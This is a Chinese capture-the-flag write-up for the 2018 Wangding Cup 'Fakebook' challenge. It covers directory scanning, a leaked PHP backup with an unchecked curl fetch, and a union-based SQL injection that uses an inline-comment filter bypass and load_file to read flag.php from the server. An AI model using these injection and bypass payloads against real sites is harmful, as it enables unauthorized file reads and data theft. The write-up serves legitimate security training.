[网鼎杯 2018]Fakebook

1. 目录扫描

   • robots.txt

   • flag.php

   打开 robots.txt 发现 user.php.bak

image-20211022111059709

下载 /user.php.bak 得到：

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

1. 随便添加一个账号

image-20211020202149740

1. 点击用户名跳转

跳转地址：/view.php?no=1

改为：/view.php?no=0

报错如下：

image-20211020202118864

1. 尝试注入

加单引号报错，爆出网站觉得路径

image-20211022141423808

构造闭合

/view.php?no=1 and 1

判断读写权限

image-20211022141142849

1. 直接读取 flag.php

过滤 union select加内联注释绕过 union/**/select

/view.php?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

image-20211022141800290

Get Flag！